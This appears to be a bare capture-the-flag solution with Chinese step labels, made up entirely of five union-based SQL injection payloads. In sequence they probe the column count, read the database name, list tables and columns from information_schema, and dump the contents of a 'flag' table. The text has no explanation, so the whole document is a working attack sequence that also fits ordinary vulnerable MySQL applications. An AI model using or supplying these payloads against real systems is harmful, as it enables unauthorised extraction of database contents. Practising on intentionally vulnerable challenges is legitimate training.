第一步

' or 1=1 union select 1,2,3#

第二步

' or 1=1 union select 1,database(),3#

第三步

' or 1=1 union select 1,group\_concat(table\_name),3 from information\_schema.tables where table\_schema=database()#

第四步

' or 1=1 union select 1,group\_concat(column\_name),3 from information\_schema.columns where table\_name='flag'#

第五步

' or 1=1 union select 1,group\_concat(flag),3 from flag#